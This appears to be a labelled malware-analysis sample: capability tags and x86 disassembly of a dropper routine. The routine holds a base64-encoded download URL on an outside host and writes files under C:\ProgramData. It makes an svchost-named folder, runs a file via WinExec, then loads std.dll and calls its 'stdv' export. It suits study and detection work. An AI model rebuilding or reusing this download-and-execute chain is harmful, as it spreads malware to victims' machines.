Function at 0x401c50
Capabilities:
Access peb ldr_data
Create directory
Create process on windows
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x402c88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push str.C:_ProgramData_sys.exe
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 8]
push str.aHR0cDovL2NhY2hlLjMzYWN0aXZlaXAueHl6L2ltYWdlcy8
push eax
mov dword [esp + 0x38], 0
call fcn.004012d0
add esp, 4
lea edx, [esp + 0x18]
mov bl, 1
mov ecx, esp
mov dword [esp + 0x20], esp
push edx
mov byte [esp + 0x38], bl
call sub.MFC42.DLL_CString::CString_1
push ecx
lea ecx, [esp + 0x10]
mov eax, esp
mov dword [esp + 0x20], esp
push 0x405260
push ecx
push eax
mov byte [esp + 0x44], 2
call sub.MFC42.DLL_operator
mov byte [esp + 0x38], bl
call fcn.004011d0
add esp, 4
mov ecx, esp
mov dword [esp + 0x20], esp
push str.C:_ProgramData_setting.ini
call sub.MFC42.DLL_CString::CString
push ecx
lea eax, [esp + 0x10]
mov edx, esp
mov dword [esp + 0x20], esp
push str.9.250.txt
push eax
push edx
mov byte [esp + 0x44], 3
call sub.MFC42.DLL_operator
mov byte [esp + 0x38], bl
call fcn.004011d0
add esp, 4
mov ecx, esp
mov dword [esp + 0x20], esp
push str.C:_ProgramData_1.txt
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [esp + 0x10]
mov ecx, esp
mov dword [esp + 0x20], esp
push str.v9.txt
push edx
push ecx
mov byte [esp + 0x44], 4
call sub.MFC42.DLL_operator
mov byte [esp + 0x38], bl
call fcn.004011d0
add esp, 8
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_2
push str.svchost
lea ecx, [esp + 0x14]
mov byte [esp + 0x34], 5
call sub.MFC42.DLL_CString::operator
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push eax
push str.C:Program_Files__x86__
push ecx
call sub.MFC42.DLL_operator_2
push 0x405200
lea edx, [esp + 0x10]
push eax
push edx
mov byte [esp + 0x3c], 6
call sub.MFC42.DLL_operator
mov bl, 8
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], bl
call fcn.00402694
mov eax, dword [esp + 0xc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0xc]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
call sub.MFC42.DLL_operator_1
push ecx
mov byte [esp + 0x34], 9
mov ecx, esp
mov dword [esp + 0x24], esp
push str..exe
push eax
push ecx
call sub.MFC42.DLL_operator
push ecx
lea eax, [esp + 0x10]
mov edx, esp
mov dword [esp + 0x2c], esp
push 0x4051f4
push eax
push edx
mov byte [esp + 0x44], 0xa
call sub.MFC42.DLL_operator
mov byte [esp + 0x38], 9
call fcn.004011d0
add esp, 8
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], bl
call fcn.00402694
lea ecx, [esp + 0x10]
lea edx, [esp + 0xc]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
call sub.MFC42.DLL_operator_1
push ecx
mov byte [esp + 0x34], 0xb
mov ecx, esp
mov dword [esp + 0x28], esp
push str..dat
push eax
push ecx
call sub.MFC42.DLL_operator
push ecx
lea eax, [esp + 0x10]
mov edx, esp
mov dword [esp + 0x28], esp
push str.init2
push eax
push edx
mov byte [esp + 0x44], 0xc
call sub.MFC42.DLL_operator
mov byte [esp + 0x38], 0xb
call fcn.004011d0
add esp, 8
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], bl
call fcn.00402694
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0x10]
push str.Media.xml
push edx
push ecx
call sub.MFC42.DLL_operator
push ecx
lea ecx, [esp + 0x10]
mov eax, esp
mov dword [esp + 0x28], esp
push str.log.xml
push ecx
push eax
mov byte [esp + 0x44], 0xd
call sub.MFC42.DLL_operator
mov byte [esp + 0x38], bl
call fcn.004011d0
add esp, 4
lea eax, [esp + 0x10]
mov edx, esp
mov dword [esp + 0x28], esp
push str.update.log
push eax
push edx
call sub.MFC42.DLL_operator
push ecx
lea edx, [esp + 0x10]
mov ecx, esp
mov dword [esp + 0x28], esp
push str.update
push edx
push ecx
mov byte [esp + 0x44], 0xe
call sub.MFC42.DLL_operator
mov byte [esp + 0x38], bl
call fcn.004011d0
add esp, 4
mov ecx, esp
mov dword [esp + 0x28], esp
push str.C:_ProgramData_std.dll
call sub.MFC42.DLL_CString::CString
push ecx
lea ecx, [esp + 0x10]
mov eax, esp
mov dword [esp + 0x28], esp
push 0x4051a0
push ecx
push eax
mov byte [esp + 0x44], 0xf
call sub.MFC42.DLL_operator
mov byte [esp + 0x38], bl
call fcn.004011d0
mov edx, dword [esp + 0x1c]
add esp, 8
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push str.C:_ProgramData_std.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push str.stdv
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xff
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
mov esi, ecx
call fcn.00401c50
mov eax, dword [esp + 8]
mov ecx, esi
push eax
call sub.MFC42.DLL_CMDIFrameWnd::PreCreateWindow
neg eax
sbb eax, eax
pop esi
neg eax
ret 4